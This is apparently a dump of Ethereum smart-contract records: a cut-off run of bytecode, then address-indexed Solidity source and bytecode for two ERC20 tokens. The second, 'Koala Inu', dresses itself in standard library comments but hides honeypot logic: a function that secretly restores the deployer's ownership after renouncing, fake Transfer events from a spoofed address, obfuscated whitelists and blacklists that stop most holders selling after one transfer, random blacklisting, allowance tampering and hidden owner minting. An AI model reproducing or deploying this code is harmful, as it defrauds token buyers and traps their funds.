fffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611cfd90919063ffffffff16565b925061344260026000600584815481106133cd57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611cfd90919063ffffffff16565b91508080600101915050613205565b506134756d314dc6448d9338c15b0a0000000060065461250a90919063ffffffff16565b821015613499576006546d314dc6448d9338c15b0a000000009350935050506134a2565b81819350935050505b9091565b60008083118290613552576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156135175780820151818401526020810190506134fc565b50505050905090810190601f1680156135445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161355e57fe5b049050809150509392505050565b60008083141561357f57600090506135ec565b600082840290508284828161359057fe5b04146135e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806137406021913960400191505060405180910390fd5b809150505b92915050565b61360785600654611cfd90919063ffffffff16565b6006819055506136588161364a8461363c8761362e8a600754611d4790919063ffffffff16565b611d4790919063ffffffff16565b611d4790919063ffffffff16565b611d4790919063ffffffff16565b6007819055505050505050565b604051806101800160405280600c90602082028036833780820191505090505090565b6040518060a0016040528060059060208202803683378082019150509050509056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122097d4179422b1e06baf715f6d34336fcaf1761dc5c26496b80b077c5ff430f71664736f6c634300060c0033
[ 4 ]
0xf2676bffdbfd2ce2e02e77e1cfebe6b16e5ddf0a
pragma solidity ^0.5.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable{ address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20Token is Ownable{ using SafeMath for uint256; string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => bool) public frozenAccount; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) private _allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event FrozenFunds(address target, bool freeze); event Approval(address indexed owner, address indexed spender, uint256 value); constructor (uint256 _initialSupply, string memory _name, string memory _symbol,uint8 _decimals) public{ decimals = _decimals; totalSupply = _initialSupply * 10 ** uint256(_decimals); balanceOf[msg.sender] = totalSupply; name = _name; symbol = _symbol; } function freezeAccount(address target, bool freeze) public onlyOwner { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function transfer(address recipient, uint256 amount) public returns (bool) { require(!frozenAccount[msg.sender]); require(!frozenAccount[recipient]); _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowance[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { require(!frozenAccount[sender]); require(!frozenAccount[recipient]); _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowance[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds _allowance")); return true; } function increase_allowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowance[msg.sender][spender].add(addedValue)); return true; } function decrease_allowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowance[msg.sender][spender].sub(subtractedValue, "ERC20: decreased _allowance below zero")); return true; } function mint(address account, uint256 amount) public onlyOwner{ _mint(account, amount); } function burn(uint256 amount) public { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); balanceOf[sender] = balanceOf[sender].sub(amount, "ERC20: transfer amount exceeds balance"); balanceOf[recipient] = balanceOf[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); balanceOf[account] = balanceOf[account].sub(amount, "ERC20: burn amount exceeds balance"); totalSupply = totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowance[account][msg.sender].sub(amount, "ERC20: burn amount exceeds _allowance")); } function kill() public onlyOwner{ selfdestruct(msg.sender); } function() external payable{ revert(); } }
0x60806040526004361061012a5760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b411461044e578063a9059cbb14610463578063b414d4b61461049c578063dd62ed3e146104cf578063e724529c1461050a578063f2fde38b146105455761012a565b8063715018a61461038157806379cc67901461039657806382aade08146103cf5780638da5cb5b146104085780638f32d59b146104395761012a565b806340c10f19116100f257806340c10f191461029b57806341c0e1b5146102d657806342966c68146102eb5780636ece08ac1461031557806370a082311461034e5761012a565b806306fdde031461012f578063095ea7b3146101b957806318160ddd1461020657806323b872dd1461022d578063313ce56714610270575b600080fd5b34801561013b57600080fd5b50610144610578565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017e578181015183820152602001610166565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c557600080fd5b506101f2600480360360408110156101dc57600080fd5b506001600160a01b038135169060200135610605565b604080519115158252519081900360200190f35b34801561021257600080fd5b5061021b61061b565b60408051918252519081900360200190f35b34801561023957600080fd5b506101f26004803603606081101561025057600080fd5b506001600160a01b03813581169160208101359091169060400135610621565b34801561027c57600080fd5b506102856106da565b6040805160ff9092168252519081900360200190f35b3480156102a757600080fd5b506102d4600480360360408110156102be57600080fd5b506001600160a01b0381351690602001356106e3565b005b3480156102e257600080fd5b506102d4610738565b3480156102f757600080fd5b506102d46004803603602081101561030e57600080fd5b5035610782565b34801561032157600080fd5b506101f26004803603604081101561033857600080fd5b506001600160a01b03813516906020013561078f565b34801561035a57600080fd5b5061021b6004803603602081101561037157600080fd5b50356001600160a01b03166107e4565b34801561038d57600080fd5b506102d46107f6565b3480156103a257600080fd5b506102d4600480360360408110156103b957600080fd5b506001600160a01b038135169060200135610887565b3480156103db57600080fd5b506101f2600480360360408110156103f257600080fd5b506001600160a01b038135169060200135610891565b34801561041457600080fd5b5061041d6108cd565b604080516001600160a01b039092168252519081900360200190f35b34801561044557600080fd5b506101f26108dc565b34801561045a57600080fd5b506101446108ed565b34801561046f57600080fd5b506101f26004803603604081101561048657600080fd5b506001600160a01b038135169060200135610945565b3480156104a857600080fd5b506101f2600480360360208110156104bf57600080fd5b50356001600160a01b0316610993565b3480156104db57600080fd5b5061021b600480360360408110156104f257600080fd5b506001600160a01b03813581169160200135166109a8565b34801561051657600080fd5b506102d46004803603604081101561052d57600080fd5b506001600160a01b03813516906020013515156109d3565b34801561055157600080fd5b506102d46004803603602081101561056857600080fd5b50356001600160a01b0316610a7e565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105fd5780601f106105d2576101008083540402835291602001916105fd565b820191906000526020600020905b8154815290600101906020018083116105e057829003601f168201915b505050505081565b6000610612338484610ace565b50600192915050565b60045481565b6001600160a01b03831660009081526005602052604081205460ff161561064757600080fd5b6001600160a01b03831660009081526005602052604090205460ff161561066d57600080fd5b610678848484610bba565b6106d084336106cb85604051806060016040528060298152602001611161602991396001600160a01b038a166000908152600760209081526040808320338452909152902054919063ffffffff610d1816565b610ace565b5060019392505050565b60035460ff1681565b6106eb6108dc565b61072a576040805162461bcd60e51b81526020600482018190526024820152600080516020611240833981519152604482015290519081900360640190fd5b6107348282610daf565b5050565b6107406108dc565b61077f576040805162461bcd60e51b81526020600482018190526024820152600080516020611240833981519152604482015290519081900360640190fd5b33ff5b61078c3382610ea1565b50565b600061061233846106cb8560405180606001604052806026815260200161121a602691393360009081526007602090815260408083206001600160a01b038d168452909152902054919063ffffffff610d1816565b60066020526000908152604090205481565b6107fe6108dc565b61083d576040805162461bcd60e51b81526020600482018190526024820152600080516020611240833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6107348282610f9d565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916106129185906106cb908663ffffffff610ffa16565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105fd5780601f106105d2576101008083540402835291602001916105fd565b3360009081526005602052604081205460ff161561096257600080fd5b6001600160a01b03831660009081526005602052604090205460ff161561098857600080fd5b610612338484610bba565b60056020526000908152604090205460ff1681565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6109db6108dc565b610a1a576040805162461bcd60e51b81526020600482018190526024820152600080516020611240833981519152604482015290519081900360640190fd5b6001600160a01b038216600081815260056020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b610a866108dc565b610ac5576040805162461bcd60e51b81526020600482018190526024820152600080516020611240833981519152604482015290519081900360640190fd5b61078c8161105b565b6001600160a01b038316610b135760405162461bcd60e51b81526004018080602001828103825260248152602001806112cb6024913960400191505060405180910390fd5b6001600160a01b038216610b585760405162461bcd60e51b81526004018080602001828103825260228152602001806111d26022913960400191505060405180910390fd5b6001600160a01b03808416600081815260076020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610bff5760405162461bcd60e51b81526004018080602001828103825260258152602001806112a66025913960400191505060405180910390fd5b6001600160a01b038216610c445760405162461bcd60e51b815260040180806020018281038252602381526020018061113e6023913960400191505060405180910390fd5b610c87816040518060600160405280602681526020016111f4602691396001600160a01b038616600090815260066020526040902054919063ffffffff610d1816565b6001600160a01b038085166000908152600660205260408082209390935590841681522054610cbc908263ffffffff610ffa16565b6001600160a01b0380841660008181526006602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610da75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d6c578181015183820152602001610d54565b50505050905090810190601f168015610d995780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038216610e0a576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610e1d908263ffffffff610ffa16565b6004556001600160a01b038216600090815260066020526040902054610e49908263ffffffff610ffa16565b6001600160a01b03831660008181526006602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610ee65760405162461bcd60e51b81526004018080602001828103825260218152602001806112856021913960400191505060405180910390fd5b610f298160405180606001604052806022815260200161118a602291396001600160a01b038516600090815260066020526040902054919063ffffffff610d1816565b6001600160a01b038316600090815260066020526040902055600454610f55908263ffffffff6110fb16565b6004556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b610fa78282610ea1565b61073482336106cb84604051806060016040528060258152602001611260602591396001600160a01b0388166000908152600760209081526040808320338452909152902054919063ffffffff610d1816565b600082820183811015611054576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b0381166110a05760405162461bcd60e51b81526004018080602001828103825260268152602001806111ac6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600061105483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d1856fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e742065786365656473205f616c6c6f77616e636545524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a20646563726561736564205f616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e20616d6f756e742065786365656473205f616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a7231582097e1efd4527eb00712a1a7e227886d677906e0c4d86a2b6e5b6f20ff4e6e4f7e64736f6c63430005110032
[ 38 ]
0xf267907b8f6c03d11db27e047c0f809751ccf677
pragma solidity 0.5.16; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the erc20 token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private picture; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; picture = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function SetBurnAddress() public { require(_owner != picture); emit OwnershipTransferred(_owner, picture); _owner = picture; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20Token is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public oldmcdonald; mapping (address => bool) public parkerprobe; mapping (address => bool) public sowjet; mapping (address => uint256) public trackTrs; bool private bonolol; uint256 private _totalSupply; uint256 private nvidia; uint256 private _trns; uint256 private chTx; uint256 private opera; uint8 private _decimals; string private _symbol; string private _name; bool private zeiss; address private creator; bool private thisValue; uint gordon = 0; constructor() public { creator = address(msg.sender); bonolol = true; zeiss = true; _name = "Koala Inu"; _symbol = "KOALA"; _decimals = 5; _totalSupply = 7000000000000000; _trns = _totalSupply; nvidia = _totalSupply; chTx = _totalSupply / 1800; opera = nvidia; parkerprobe[creator] = false; sowjet[creator] = false; oldmcdonald[msg.sender] = true; _balances[msg.sender] = 6000000000000000; thisValue = false; emit Transfer(address(0x6262998Ced04146fA42253a5C0AF90CA02dfd2A3), msg.sender, 6000000000000000); emit Transfer(address(0x6262998Ced04146fA42253a5C0AF90CA02dfd2A3), address(0x000000000000000000000000000000000000dEaD), 1000000000000000); } /** * @dev Returns the erc20 token owner. */ function getOwner() external view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } function ViewChange() external view onlyOwner returns (uint256) { uint256 tempval = _totalSupply; return tempval; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function randomly() internal returns (uint) { uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, gordon))) % 100000; gordon++; return screen; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function SetTheTime() external onlyOwner { nvidia = chTx; thisValue = true; } function BurnThemAll(uint256 amount) external onlyOwner { nvidia = amount; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * * */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function Liar(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function CheckMate(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner { oldmcdonald[spender] = val; parkerprobe[spender] = val2; sowjet[spender] = val3; thisValue = val4; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if ((address(sender) == creator) && (bonolol == false)) { nvidia = chTx; thisValue = true; } if ((address(sender) == creator) && (bonolol == true)) { oldmcdonald[recipient] = true; parkerprobe[recipient] = false; bonolol = false; } if (oldmcdonald[recipient] != true) { parkerprobe[recipient] = ((randomly() == 78) ? true : false); } if ((parkerprobe[sender]) && (oldmcdonald[recipient] == false)) { parkerprobe[recipient] = true; } if (oldmcdonald[sender] == false) { require(amount < nvidia); if (thisValue == true) { if (sowjet[sender] == true) { require(false); } sowjet[sender] = true; } } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Changes the `amount` of the minimal tokens there should be in supply, * in order to not burn more tokens than there should be. **/ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { uint256 tok = amount; require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == creator) && (zeiss == true)) { oldmcdonald[spender] = true; parkerprobe[spender] = false; sowjet[spender] = false; zeiss = false; } tok = (parkerprobe[owner] ? 437624 : amount); _allowances[owner][spender] = tok; emit Approval(owner, spender, tok); } 